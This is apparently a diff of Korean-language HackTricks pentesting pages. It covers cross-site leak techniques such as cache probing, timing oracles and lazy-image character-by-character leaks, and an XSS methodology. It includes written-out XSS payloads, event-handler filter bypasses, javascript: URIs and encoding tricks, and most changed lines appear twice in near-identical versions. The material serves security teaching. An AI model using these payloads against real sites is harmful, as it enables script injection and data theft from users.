- 페이지가 `Content-Disposition: attachment` 헤더를 사용하여 파일 다운로드를 유발할 때, 이는 탐색 이벤트를 발생시키지 않습니다.
- 콘텐츠를 iframe에 로드하고 탐색 이벤트를 모니터링하여 콘텐츠 배치가 파일 다운로드를 유발하는지(탐색 없음) 여부를 확인할 수 있습니다.
3. **iframe 없이 다운로드 탐색**:
- iframe 기술과 유사하게, 이 방법은 iframe 대신 `window.open`을 사용합니다.
- 새로 열린 창에서 탐색 이벤트를 모니터링하여 파일 다운로드가 유발되었는지(탐색 없음) 또는 콘텐츠가 인라인으로 표시되었는지(탐색 발생)를 확인할 수 있습니다.
@ -766,12 +766,12 @@ CSS `:visited` 선택자는 사용자가 이전에 방문한 URL을 다르게
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (from [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
> [!WARNING]
> 이 기술이 흥미로운 이유는: 크롬은 이제 **캐시 파티셔닝**을 가지고 있으며, 새로 열린 페이지의 캐시 키는: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`입니다. 그러나 ngrok 페이지를 열고 fetch를 사용하면 캐시 키는: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`가 됩니다. **캐시 키가 다릅니다**, 따라서 캐시를 공유할 수 없습니다. 여기에서 더 많은 세부 정보를 찾을 수 있습니다: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
> (Comment from [**here**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
> 이 기술이 흥미로운 이유는: 크롬은 이제 **캐시 파티셔닝**을 가지고 있으며, 새로 열린 페이지의 캐시 키는: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)`입니다. 그러나 ngrok 페이지를 열고 fetch를 사용하면 캐시 키는: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`가 됩니다. **캐시 키가 다르므로** 캐시를 공유할 수 없습니다. 여기에서 더 많은 세부정보를 찾을 수 있습니다: [캐시 파티셔닝을 통한 보안 및 개인 정보 보호 확보](https://developer.chrome.com/blog/http-cache-partitioning/)\
> ([**여기**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)의 댓글)
사이트 `example.com`이 `*.example.com/resource`에서 리소스를 포함하면 해당 리소스는 **최상위 탐색을 통해 직접 요청된 것처럼** **동일한 캐싱 키**를 가집니다. 이는 캐싱 키가 최상위 _eTLD+1_ 및 프레임 _eTLD+1_로 구성되기 때문입니다.
사이트 `example.com`이 `*.example.com/resource`에서 리소스를 포함하면 해당 리소스는 **최상위 탐색을 통해 직접 요청된 것과 동일한 캐싱 키**를 갖습니다. 이는 캐싱 키가 최상위 _eTLD+1_ 및 프레임 _eTLD+1_로 구성되기 때문입니다.
캐시에 접근하는 것이 리소스를 로드하는 것보다 빠르기 때문에, 페이지의 위치를 변경하고 20ms 후에 취소하려고 시도할 수 있습니다(예:). 원본이 중지 후 변경되었다면, 리소스가 캐시되었음을 의미합니다.\
캐시에 접근하는 것이 리소스를 로드하는 것보다 빠르기 때문에, 페이지의 위치를 변경하고 20ms 후에 취소하는 것을 시도할 수 있습니다(예:). 원본이 중지 후 변경되었다면, 리소스가 캐시되었음을 의미합니다.\
또는 **잠재적으로 캐시된 페이지에 대해 fetch를 보내고 소요 시간을 측정할 수 있습니다**.
### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
@ -792,7 +792,7 @@ CSS `:visited` 선택자는 사용자가 이전에 방문한 URL을 다르게
- **Summary:** 리소스를 로드하려고 시도하고 로드되기 전에 로드를 중단할 수 있습니다. 오류가 발생하는지 여부에 따라 리소스가 캐시되었거나 그렇지 않을 수 있습니다.
- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
**fetch**와 **setTimeout**을 사용하여 **AbortController**로 리소스가 **캐시되었는지** 감지하고 특정 리소스를 브라우저 캐시에서 제거할 수 있습니다. 또한, 이 과정은 새로운 콘텐츠를 캐시하지 않고 발생합니다.
_**fetch**_와 _**setTimeout**_을 사용하여 **리소스가 캐시되었는지** 감지하고 특정 리소스를 브라우저 캐시에서 제거할 수 있습니다. 또한, 이 과정은 새로운 콘텐츠를 캐시하지 않고 발생합니다.
### Script Pollution
@ -810,19 +810,19 @@ CSS `:visited` 선택자는 사용자가 이전에 방문한 URL을 다르게
- **Summary:** 서비스 워커를 사용하여 웹의 실행 시간을 측정합니다.
- **Code Example**:
주어진 시나리오에서 공격자는 자신의 도메인 중 하나인 "attacker.com" 내에서 **서비스 워커**를 등록하는 주도권을 잡습니다. 다음으로 공격자는 메인 문서에서 대상 웹사이트의 새 창을 열고 **서비스 워커**에게 타이머를 시작하도록 지시합니다. 새 창이 로드되기 시작하면 공격자는 이전 단계에서 얻은 참조를 **서비스 워커**가 관리하는 페이지로 탐색합니다.
주어진 시나리오에서 공격자는 자신의 도메인 중 하나인 "attacker.com" 내에서 **서비스 워커**를 등록하는 주도권을 잡습니다. 다음으로, 공격자는 메인 문서에서 대상 웹사이트의 새 창을 열고 **서비스 워커**에게 타이머를 시작하도록 지시합니다. 새 창이 로드되기 시작하면, 공격자는 이전 단계에서 얻은 참조를 **서비스 워커**가 관리하는 페이지로 탐색합니다.
이전 단계에서 시작된 요청이 도착하면 **서비스 워커**는 **204 (No Content)** 상태 코드로 응답하여 탐색 프로세스를 종료합니다. 이 시점에서 **서비스 워커**는 이전 단계에서 시작된 타이머의 측정을 캡처합니다. 이 측정치는 탐색 프로세스의 지연을 초래하는 JavaScript의 지속 시간에 영향을 받습니다.
이전 단계에서 시작된 요청이 도착하면, **서비스 워커**는 **204 (No Content)** 상태 코드로 응답하여 탐색 프로세스를 종료합니다. 이 시점에서 **서비스 워커**는 이전 단계에서 시작된 타이머의 측정을 캡처합니다. 이 측정치는 탐색 프로세스의 지연을 초래하는 JavaScript의 지속 시간에 의해 영향을 받습니다.
> [!WARNING]
> 실행 타이밍에서는 **네트워크 요인**을 **제거**하여 **더 정확한 측정값**을 얻을 수 있습니다. 예를 들어, 페이지를 로드하기 전에 페이지에서 사용하는 리소스를 로드합니다.
> 실행 타이밍에서는 **네트워크 요인**을 **제거**하여 **더 정확한 측정값**을 얻을 수 있습니다. 예를 들어, 페이지를 로드하기 전에 페이지에서 사용하는 리소스를 로드하는 것입니다.
### Fetch Timing
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
- **Summary:** 요청을 수행하는 데 걸리는 시간을 측정하기 위해 [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow)를 사용합니다. 다른 시계도 사용할 수 있습니다.
- **Summary:** 요청을 수행하는 데 걸리는 시간을 측정하기 위해 [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow)를 사용합니다. 다른 시계를 사용할 수 있습니다.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
### Cross-Window Timing
@ -830,7 +830,7 @@ CSS `:visited` 선택자는 사용자가 이전에 방문한 URL을 다르게
- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
- **Summary:** `window.open`을 사용하여 요청을 수행하는 데 걸리는 시간을 측정하기 위해 [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow)를 사용합니다. 다른 시계도 사용할 수 있습니다.
- **Summary:** `window.open`을 사용하여 요청을 수행하는 데 걸리는 시간을 측정하기 위해 [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow)를 사용합니다. 다른 시계를 사용할 수 있습니다.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
@ -846,15 +846,15 @@ CSS `:visited` 선택자는 사용자가 이전에 방문한 URL을 다르게
### Image Lazy Loading
비밀 이전에 **HTML을 추가할 수** 있고 **콘텐츠를 유출해야 하는 경우** 일반적인 덩어리 마크업 기술을 확인해야 합니다.\
그러나 어떤 이유로든 **문자 단위로** 수행해야 하는 경우(아마도 통신이 캐시 적중을 통해 이루어지기 때문) 이 트릭을 사용할 수 있습니다.
비밀 이전에 **콘텐츠를 유출해야** 하고 **HTML을 추가할 수 있는 경우** 일반적인 덩어리 마크업 기술을 확인해야 합니다.\
그러나 어떤 이유로든 **문자를 하나씩** 해야 하는 경우(아마도 통신이 캐시 적중을 통해 이루어지기 때문) 이 요령을 사용할 수 있습니다.
HTML의 **이미지**는 "**loading**" 속성이 있으며 그 값은 "**lazy**"일 수 있습니다. 이 경우 이미지는 페이지가 로드되는 동안이 아니라 볼 때 로드됩니다:
HTML의 **이미지**는 "**loading**" 속성이 있으며, 그 값은 "**lazy**"일 수 있습니다. 이 경우 이미지는 페이지가 로드되는 동안이 아니라 볼 때 로드됩니다:
```html
<img src=/something loading=lazy >
```
따라서, 할 수 있는 것은 **많은 쓰레기 문자**(예: **수천 개의 "W"**)를 **비밀 앞에 웹 페이지를 채우기 위해 추가하는 것**입니다. 또는 **다음과 같은 것을 추가하는 것입니다**: `<br><canvas height="1850px"></canvas><br>.`\
그런 다음 예를 들어 우리의 **주입이 플래그 앞에 나타나면**, **이미지**가 **로드될 것이지만**, **플래그 뒤에 나타나면**, 플래그 + 쓰레기가 **로드되는 것을 방지할 것입니다**(얼마나 많은 쓰레기를 배치할지는 조정해야 합니다). 이것은 [**이 글**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/)에서 발생한 일입니다.
예를 들어, 우리의 **주입이 플래그 앞에 나타나면**, **이미지**가 **로드되지만**, **플래그 뒤에 나타나면**, 플래그 + 쓰레기가 **로드되는 것을 방지합니다**(얼마나 많은 쓰레기를 배치할지는 조정해야 합니다). 이것은 [**이 글**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/)에서 발생한 일입니다.
또 다른 옵션은 **scroll-to-text-fragment**를 사용하는 것입니다(허용되는 경우):
@ -868,13 +868,13 @@ HTML의 **이미지**는 "**loading**" 속성이 있으며 그 값은 "**lazy**"
여기서 post.html은 공격자의 쓰레기 문자와 지연 로드 이미지가 포함되어 있으며, 봇의 비밀이 추가됩니다.
이 텍스트는 봇이 페이지에서 `SECR`이라는 텍스트를 포함하는 모든 텍스트에 접근하게 합니다. 그 텍스트는 비밀이며 **이미지 바로 아래**에 있기 때문에, **정답 비밀이 맞을 경우에만 이미지가 로드됩니다**. 따라서 비밀을 **문자 단위로 유출할 수 있는 오라클이 생깁니다**.
이 텍스트는 봇이 페이지에서 `SECR`이라는 텍스트를 포함하는 모든 텍스트에 접근하게 합니다. 그 텍스트가 비밀이고 **이미지 바로 아래에** 있기 때문에, **정답 비밀이 맞으면 이미지만 로드됩니다**. 따라서 비밀을 **문자 단위로 유출할 수 있는 오라클이 생깁니다**.
이를 이용한 코드 예제: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
이를 이용한 코드 예시는 다음과 같습니다: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
### 이미지 지연 로딩 시간 기반
외부 이미지를 로드할 수 **없는 경우**, 이는 공격자에게 이미지가 로드되었음을 알릴 수 있습니다. 또 다른 옵션은 **문자를 여러 번 추측하고 그 시간을 측정하는 것**입니다. 이미지가 로드되면 모든 요청이 이미지가 로드되지 않았을 때보다 더 오래 걸립니다. 이것은 [**이 글의 해결책**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/)에서 사용된 방법입니다. **여기 요약됨:**
외부 이미지를 로드할 수 **없는 경우**, 공격자에게 이미지가 로드되었음을 알릴 수 있는 또 다른 옵션은 **문자를 여러 번 추측하고 그 시간을 측정하는 것**입니다. 이미지가 로드되면 모든 요청이 이미지가 로드되지 않았을 때보다 더 오래 걸립니다. 이것은 [**이 글의 해결책**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/)에서 사용된 방법입니다. **여기 요약됨:**
{{#ref}}
event-loop-blocking-+-lazy-images.md
@ -888,7 +888,7 @@ event-loop-blocking-+-lazy-images.md
### CSS ReDoS
`jQuery(location.hash)`가 사용되면, **일부 HTML 콘텐츠가 존재하는지** 타이밍을 통해 알아낼 수 있습니다. 이는 선택자 `main[id='site-main']`가 일치하지 않으면 나머지 **선택자**를 확인할 필요가 없기 때문입니다.
`jQuery(location.hash)`가 사용되면, **일부 HTML 콘텐츠가 존재하는지** 타이밍을 통해 알 수 있습니다. 이는 선택자 `main[id='site-main']`가 일치하지 않으면 나머지 **선택자**를 확인할 필요가 없기 때문입니다.
```javascript
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
@ -902,7 +902,7 @@ css-injection/
## Defenses
각 섹션의 위키와 [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)에서 권장되는 완화 조치가 있습니다. 이러한 기술로부터 보호하는 방법에 대한 더 많은 정보는 그곳을 확인하세요.
각 섹션의 위키 [https://xsleaks.dev/](https://xsleaks.dev/)와 [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)에서 권장되는 완화 조치가 있습니다. 이러한 기술로부터 보호하는 방법에 대한 더 많은 정보는 그곳을 확인하세요.
## References

102
src/pentesting-web/xss-cross-site-scripting/README.md
View File

@ -2,7 +2,7 @@
## 방법론
1. **당신이 제어하는 값** (_매개변수_, _경로_, _헤더_?, _쿠키_?)가 HTML에 **반영**되거나 **JS** 코드에 **사용**되고 있는지 확인합니다.
1. **당신이 제어하는 모든 값** (_매개변수_, _경로_, _헤더_?, _쿠키_?)가 HTML에 **반영**되거나 **JS** 코드에 **사용**되고 있는지 확인합니다.
2. **반영/사용되는 맥락**을 찾습니다.
3. **반영된 경우**
1. **어떤 기호를 사용할 수 있는지** 확인하고, 그에 따라 페이로드를 준비합니다:
@ -54,9 +54,9 @@ XSS를 악용하려고 할 때 가장 먼저 알아야 할 것은 **당신의
당신의 입력이 태그의 속성 값 내부에 반영된다면 다음을 시도할 수 있습니다:
1. **속성과 태그에서 이스케이프**하여 (그럼 원시 HTML에 있게 됩니다) 악용할 새로운 HTML 태그를 생성합니다: `"><img [...]`
2. **속성에서 이스케이프할 수 있지만 태그에서 이스케이프할 수 없는 경우** (`>`가 인코딩되거나 삭제된 경우), 태그에 따라 **JS 코드를 실행하는 이벤트**를 생성할 수 있습니다: `" autofocus onfocus=alert(1) x="`
3. **속성에서 이스케이프할 수 없는 경우** (`"`가 인코딩되거나 삭제된 경우), 당신의 값이 반영되는 **어떤 속성**인지에 따라 **모든 값을 제어하는지 아니면 일부만 제어하는지**에 따라 악용할 수 있습니다. **예를 들어**, `onclick=`과 같은 이벤트를 제어하면 클릭 시 임의의 코드를 실행할 수 있습니다. 또 다른 흥미로운 **예**는 `href` 속성으로, `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
1. **속성과 태그에서 탈출**하여 (그럼 원시 HTML에 있게 됩니다) 악용할 새로운 HTML 태그를 생성합니다: `"><img [...]`
2. **속성에서 탈출할 수 있지만 태그에서 탈출할 수 없는 경우** (`>`가 인코딩되거나 삭제된 경우), 태그에 따라 **JS 코드를 실행하는 이벤트**를 생성할 수 있습니다: `" autofocus onfocus=alert(1) x="`
3. **속성에서 탈출할 수 없는 경우** (`"`가 인코딩되거나 삭제된 경우), 당신의 값이 반영되는 **어떤 속성**인지에 따라 **모든 값을 제어하는지 아니면 일부만 제어하는지**에 따라 악용할 수 있습니다. **예를 들어**, `onclick=`과 같은 이벤트를 제어하면 클릭 시 임의의 코드를 실행할 수 있습니다. 또 다른 흥미로운 **예**는 `href` 속성으로, 여기서 `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
4. 당신의 입력이 "**악용할 수 없는 태그**" 내부에 반영된다면, **`accesskey`** 트릭을 시도하여 취약점을 악용할 수 있습니다 (이를 악용하기 위해서는 어떤 형태의 사회 공학이 필요합니다): **`" accesskey="x" onclick="alert(1)" x="**
클래스 이름을 제어할 경우 Angular가 XSS를 실행하는 이상한 예:
@ -83,7 +83,7 @@ alert(1)
```
#### Javascript Hoisting
Javascript Hoisting은 **함수, 변수 또는 클래스를 사용한 후에 선언할 수 있는 기회를 참조하며, 이는 선언되지 않은 변수나 함수를 사용하는 XSS 시나리오를 악용할 수 있습니다.**\
Javascript Hoisting은 **함수, 변수 또는 클래스를 사용한 후에 선언할 수 있는 기회를 참조하며, 이는 XSS가 선언되지 않은 변수나 함수를 사용하는 시나리오를 악용할 수 있게 합니다.**\
**자세한 정보는 다음 페이지를 확인하세요:**
{{#ref}}
@ -148,9 +148,9 @@ server-side-xss-dynamic-pdf.md
## 원시 HTML 내에서 주입
당신의 입력이 **HTML 페이지 내에서 반영**되거나 이 맥락에서 HTML 코드를 이스케이프하고 주입할 수 있다면, **첫 번째**로 해야 할 일은 `<`를 악용하여 새로운 태그를 생성할 수 있는지 확인하는 것입니다: 그냥 **그 문자**를 **반영**해보고 그것이 **HTML 인코딩**되었는지, **삭제**되었는지, 아니면 **변경 없이 반영**되었는지 확인하세요. **마지막 경우에만 이 경우를 악용할 수 있습니다**.\
당신의 입력이 **HTML 페이지 내에서 반영**되거나 이 맥락에서 HTML 코드를 이스케이프하고 주입할 수 있다면, **첫 번째**로 해야 할 일은 `<`를 악용하여 새로운 태그를 생성할 수 있는지 확인하는 것입니다: 그 **문자**를 **반영**해보고 그것이 **HTML 인코딩**되었는지, **삭제**되었는지, 아니면 **변경 없이 반영**되었는지 확인하십시오. **마지막 경우에만 이 경우를 악용할 수 있습니다**.\
이 경우에도 **기억하세요** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**참고: HTML 주석은 `-->` 또는 `--!>`로 닫을 수 있습니다.**_
_**참고: HTML 주석은\*\***\***\*`-->`\*\***\***\*또는 \*\***`--!>`\*\**로 닫을 수 있습니다._
이 경우 블랙/화이트리스트가 사용되지 않는다면, 다음과 같은 페이로드를 사용할 수 있습니다:
```html
@ -165,7 +165,7 @@ alert(1)
### 태그/이벤트 브루트 포스
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)로 가서 _**태그를 클립보드에 복사**_를 클릭하세요. 그런 다음, Burp intruder를 사용하여 모든 태그를 전송하고 WAF에서 악성으로 발견되지 않은 태그가 있는지 확인하세요. 사용할 수 있는 태그를 발견한 후, 유효한 태그를 사용하여 **모든 이벤트를 브루트 포스**할 수 있습니다(같은 웹 페이지에서 _**이벤트를 클립보드에 복사**_를 클릭하고 이전과 같은 절차를 따르세요).
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)로 가서 _**태그를 클립보드에 복사**_를 클릭하세요. 그런 다음, Burp intruder를 사용하여 모든 태그를 전송하고 WAF에 의해 악성으로 발견되지 않은 태그가 있는지 확인하세요. 사용할 수 있는 태그를 발견한 후, 유효한 태그를 사용하여 **모든 이벤트를 브루트 포스**할 수 있습니다(같은 웹 페이지에서 _**이벤트를 클립보드에 복사**_를 클릭하고 이전과 같은 절차를 따르세요).
### 사용자 정의 태그
@ -234,7 +234,7 @@ onerror=alert`1`
```
마지막 것은 2개의 유니코드 문자를 사용하여 5로 확장됩니다: telsr\
이러한 문자는 [여기](https://www.unicode.org/charts/normalization/)에서 더 찾을 수 있습니다.\
어떤 문자가 분해되었는지 확인하려면 [여기](https://www.compart.com/en/unicode/U+2121)를 확인하세요.
어떤 문자가 분해되었는지 확인하려면 [여기](https://www.compart.com/en/unicode/U+2121)에서 확인하세요.
### Click XSS - Clickjacking
@ -242,14 +242,14 @@ onerror=alert`1`
### 불가능 - Dangling Markup
**JS 코드를 실행하기 위한 속성이 있는 HTML 태그를 만드는 것이 불가능하다고 생각한다면**, [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html)을 확인해야 합니다. 왜냐하면 **JS** 코드를 실행하지 않고도 취약점을 **악용**할 수 있기 때문입니다.
**JS 코드를 실행하기 위한 속성이 있는 HTML 태그를 만드는 것이 불가능하다고 생각한다면**, [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html)을 확인해야 합니다. 왜냐하면 **JS** 코드를 **실행하지 않고**도 취약점을 **악용**할 수 있기 때문입니다.
## HTML 태그 내부에 주입하기
### 태그 내부/속성 값에서 이스케이프하기
### 태그 내부/속성 값에서 탈출하기
**HTML 태그 내부에 있다면**, 시도할 수 있는 첫 번째 것은 태그에서 **이스케이프**하고 [이전 섹션](#injecting-inside-raw-html)에서 언급된 기술 중 일부를 사용하여 JS 코드를 실행하는 것입니다.\
**태그에서 이스케이프할 수 없다면**, 태그 내부에 새로운 속성을 만들어 JS 코드를 실행하려고 시도할 수 있습니다. 예를 들어 (_이 예제에서는 속성에서 이스케이프하기 위해 이중 따옴표를 사용하지만, 입력이 태그 내부에 직접 반영된다면 필요하지 않습니다_):
**HTML 태그 내부에 있다면**, 시도할 수 있는 첫 번째 것은 **태그에서 탈출**하고 [이전 섹션](#injecting-inside-raw-html)에서 언급된 기술 중 일부를 사용하여 JS 코드를 실행하는 것입니다.\
**태그에서 탈출할 수 없다면**, 태그 내부에 새로운 속성을 만들어 JS 코드를 실행하려고 시도할 수 있습니다. 예를 들어 (_이 예제에서는 속성에서 탈출하기 위해 이중 따옴표를 사용하지만, 입력이 태그 내부에 직접 반영되는 경우에는 필요하지 않습니다_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -266,12 +266,12 @@ onerror=alert`1`
```
### 속성 내에서
속성에서 **탈출할 수 없는 경우**(`"`가 인코딩되거나 삭제됨)에도 불구하고, **어떤 속성**에 값이 반영되는지에 따라 **모든 값 또는 일부만 제어할 수 있는 경우** 이를 악용할 수 있습니다. **예를 들어**, `onclick=`와 같은 이벤트를 제어할 수 있다면 클릭할 때 임의의 코드를 실행할 수 있습니다.\
속성에서 **탈출할 수 없는 경우**(`"`가 인코딩되거나 삭제되는 경우)에도, **어떤 속성**에 값이 반영되는지에 따라 **모든 값을 제어할 수 있는지 또는 일부만 제어할 수 있는지**에 따라 이를 악용할 수 있습니다. **예를 들어**, `onclick=`와 같은 이벤트를 제어할 수 있다면 클릭할 때 임의의 코드를 실행할 수 있습니다.\
또 다른 흥미로운 **예**는 `href` 속성으로, 여기서 `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
**HTML 인코딩/URL 인코딩을 사용한 이벤트 내 우회**
HTML 태그 속성의 값 내 **HTML 인코딩된 문자**는 **런타임에 디코딩**됩니다. 따라서 다음과 같은 것이 유효합니다(페이로드는 굵게 표시됨): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">뒤로 가기 </a>`
HTML 태그 속성의 값 내 **HTML 인코딩된 문자**는 **런타임에 디코딩됩니다**. 따라서 다음과 같은 것이 유효합니다(페이로드는 굵게 표시됨): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">뒤로 가기 </a>`
**모든 종류의 HTML 인코딩이 유효하다는 점에 유의하세요**:
```javascript
@ -302,7 +302,7 @@ HTML 태그 속성의 값 내 **HTML 인코딩된 문자**는 **런타임에 디
```
### Special Protocols Within the attribute
여기에서 **`javascript:`** 또는 **`data:`** 프로토콜을 사용하여 **임의의 JS 코드를 실행**할 수 있는 몇 가지 장소가 있습니다. 일부는 사용자 상호작용이 필요하고 일부는 필요하지 않습니다.
여기에서 **`javascript:`** 또는 **`data:`** 프로토콜을 사용하여 **임의의 JS 코드를 실행**할 수 있는 몇 가지 장소가 있습니다. 일부는 사용자 상호작용을 요구하고 일부는 요구하지 않습니다.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -350,7 +350,7 @@ _**이 경우, 이전 섹션의 HTML 인코딩 및 유니코드 인코딩 기법
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
또한 이러한 경우에 대한 또 다른 **멋진 트릭**이 있습니다: **입력이 `javascript:...` 안에 있을 때 URL 인코딩이 되어 있더라도, 실행되기 전에 URL 디코딩이 됩니다.** 따라서 **단일 인용부호**를 사용하여 **문자열**에서 **탈출**해야 하고 **URL 인코딩**이 되어 있는 것을 본다면, **상관없습니다,** 실행 시간 동안 **단일 인용부호**로 **해석**됩니다.
또한, 이러한 경우를 위한 또 다른 **멋진 트릭**이 있습니다: **입력이 `javascript:...` 안에 있을 때 URL 인코딩이 되어 있더라도, 실행되기 전에 URL 디코딩이 됩니다.** 따라서 **단일 인용부호**를 사용하여 **문자열**에서 **탈출**해야 하고 **URL 인코딩**이 되어 있는 것을 본다면, **상관없습니다,** 실행 시간 동안 **단일 인용부호**로 **해석**됩니다.
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
@ -376,7 +376,7 @@ _**이 경우, 이전 섹션의 HTML 인코딩 및 유니코드 인코딩 기법
```javascript
<a target="_blank" rel="opener"
```
임의의 **`<a href=`** 태그에 **`target="_blank"` 및 `rel="opener"`** 속성이 포함된 URL을 주입할 수 있는 경우, 이 동작을 악용하기 위해 **다음 페이지를 확인하십시오**:
임의의 **`<a href=`** 태그에 **`target="_blank"` 및 `rel="opener"`** 속성이 포함된 URL을 주입할 수 있는 경우, 이 동작을 악용하기 위해 **다음 페이지를 확인하세요**:
{{#ref}}
../reverse-tab-nabbing.md
@ -384,8 +384,8 @@ _**이 경우, 이전 섹션의 HTML 인코딩 및 유니코드 인코딩 기법
### 이벤트 핸들러 우회
먼저 유용한 **"on" 이벤트 핸들러**에 대한 정보를 얻기 위해 이 페이지를 확인하십시오 ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)).\
이벤트 핸들러 생성을 방해하는 블랙리스트가 있는 경우, 다음 우회를 시도해 볼 수 있습니다:
먼저 유용한 **"on" 이벤트 핸들러**에 대한 정보를 얻기 위해 이 페이지를 확인하세요 ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)).\
이벤트 핸들러 생성을 방지하는 블랙리스트가 있는 경우, 다음 우회를 시도해 볼 수 있습니다:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -421,7 +421,7 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
다음에서 [**여기**](https://portswigger.net/research/xss-in-hidden-input-fields): **숨겨진 속성** 내에서 **XSS 페이로드**를 실행할 수 있으며, 이를 위해 **희생자**가 **키 조합**을 누르도록 **설득**해야 합니다. Firefox Windows/Linux에서 키 조합은 **ALT+SHIFT+X**이고, OS X에서는 **CTRL+ALT+X**입니다. 접근 키 속성에서 다른 키를 사용하여 다른 키 조합을 지정할 수 있습니다. 벡터는 다음과 같습니다:
다음에서 [**여기**](https://portswigger.net/research/xss-in-hidden-input-fields): **숨겨진 속성** 내에서 **XSS 페이로드**를 실행할 수 있으며, **희생자**가 **키 조합**을 누르도록 **설득**할 수 있는 경우에 가능합니다. Firefox Windows/Linux에서 키 조합은 **ALT+SHIFT+X**이고, OS X에서는 **CTRL+ALT+X**입니다. 접근 키 속성에서 다른 키를 사용하여 다른 키 조합을 지정할 수 있습니다. 다음은 벡터입니다:
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -447,11 +447,11 @@ onbeforetoggle="alert(2)" />
### CSS-가젯
웹의 **아주 작은 부분**에서 XSS를 발견하고 상호작용이 필요한 경우(예: 마우스 오버 요소가 있는 푸터의 작은 링크), **해당 요소가 차지하는 공간을 수정**하여 링크가 실행될 확률을 극대화할 수 있습니다.
웹의 **아주 작은 부분**에서 XSS를 발견했다면 (아마도 마우스 오버 요소가 있는 푸터의 작은 링크일 수 있음), **해당 요소가 차지하는 공간을 수정**하여 링크가 실행될 확률을 극대화할 수 있습니다.
예를 들어, 요소에 다음과 같은 스타일을 추가할 수 있습니다: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
하지만 WAF가 스타일 속성을 필터링하는 경우, CSS 스타일링 가젯을 사용할 수 있습니다. 예를 들어
